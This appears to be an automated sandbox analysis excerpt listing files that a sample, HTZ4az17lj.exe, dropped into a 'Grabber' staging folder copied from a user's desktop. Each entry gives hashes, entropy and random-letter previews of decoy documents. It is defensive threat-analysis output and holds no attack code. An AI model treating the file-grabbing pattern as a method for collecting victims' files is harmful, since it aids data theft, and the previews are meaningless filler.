Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV.docx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.685942106278079
Encrypted:	false
SSDEEP:	24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
MD5:	3F6896A097F6B0AE6A2BF3826C813DFC
SHA1:	951214AB37DEA766005DD981B0B3D61F936B035B
SHA-256:	E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
SHA-512:	C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
Malicious:	false
Preview:	PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\BNAGMGSPLO.xlsx

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\Users\user\AppData\Local\d0d733758fee67ef1333def91e74c359\user@226533_en-CH\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
